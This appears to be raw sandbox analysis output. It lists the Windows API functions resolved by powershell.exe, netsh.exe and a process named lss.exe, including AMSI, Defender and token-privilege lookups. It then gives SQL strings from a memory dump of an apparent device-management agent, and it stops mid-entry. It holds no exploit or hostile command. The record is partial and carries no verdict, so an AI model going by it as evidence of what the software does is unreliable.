(UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AllocConsole (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006552) "lss.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006124) "lss.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006124) "lss.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006124) "lss.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006124) "lss.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006124) "lss.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006124) "lss.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006124) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003480) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003480)3f:T2b10,"INSERT OR IGNORE INTO received_jobs(id,job_type,payload,status,attempt,created_at,updated_at) VALUES(?,?,?,'received',?,?,?)" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "insert or ignore into received_jobs(id,job_type,payload,status,attempt,created_at,updated_at) values(?,?,?,'received',?,?,?)"), "SELECT id job_type payload status attempt created_at updated_at FROM received_jobs WHERE status NOT IN ('succeeded','failed') ORDER BY created_at" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "select id job_type payload status attempt created_at updated_at from received_jobs where status not in ('succeeded','failed') order by created_at"), "UPDATE managed_apps SET status='failed' updated_at=? WHERE id=?" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "update managed_apps set status='failed' updated_at=? where id=?"), "INSERT INTO managed_apps(id,package_id,revision_id,name,payload,executable_path,desired_state,allow_multiple_instances,pid,process_started_at,process_identity,process_supervision,status,restart_count,last_restart,updated_at) VALUES(?,?,?,?,?,?,?,?,?,?,?,?, 'healthy',0,?,?) ON CONFLICT(id) DO UPDATE SET package_id=excluded.package_id revision_id=excluded.revision_id name=excluded.name payload=excluded.payload executable_path=excluded.executable_path desired_state=excluded.desired_state allow_multiple_instances=excluded.allow_multiple_instances pid=excluded.pid process_started_at=excluded.process_started_at process_identity=excluded.process_identity process_supervision=excluded.process_supervision status='healthy' restart_count=0 last_restart=excluded.last_restart updated_at=excluded.updated_at" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "insert into managed_apps(id,package_id,revision_id,name,payload,executable_path,desired_state,allow_multiple_instances,pid,process_started_at,process_identity,process_supervision,status,restart_count,last_restart,updated_at) values(?,?,?,?,?,?,?,?,?,?,?,?, 'healthy',0,?,?) on conflict(id) do update set package_id=excluded.package_id revision_id=excluded.revision_id name=excluded.name payload=excluded.payload executable_path=excluded.executable_path desired_state=excluded.desired_state allow_multiple_instances=excluded.allow_multiple_instances pid=excluded.pid process_started_at=excluded.process_started_at process_identity=excluded.process_identity process_supervision=excluded.process_supervision status='healthy' restart_count=0 last_restart=excluded.last_restart updated_at=excluded.updated_at"), "SELECT id payload executable_path desired_state pid process_started_at process_identity process_supervision restart_count last_restart FROM managed_apps" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "select id payload executable_path desired_state pid process_started_at process_identity process_supervision restart_count last_restart from managed_apps"), "DELETE FROM pending_outboxDELETE FROM received_jobsDELETE FROM completed_jobsDELETE FROM managed_appsDELETE FROM agent_state" (Source: 00000000-00003200.00000000.274104.53EAD000.00000002.mdmp, Indicator: "delete from pending_outboxdelete from received_jobsdelete from completed_jobsdelete from managed_appsdelete from agent_state"), "INSERT INTO configuration(key,value) VALUES('device_id',?) ON CONFLICT(key) DO UPDATE SET value=excluded.valueINSERT INTO configuration(key,value) VALUES('device_name',?) ON CONFLICT(key) DO UPDATE SET value=excluded.value&identity.recovery.complete old_device=" (Source: 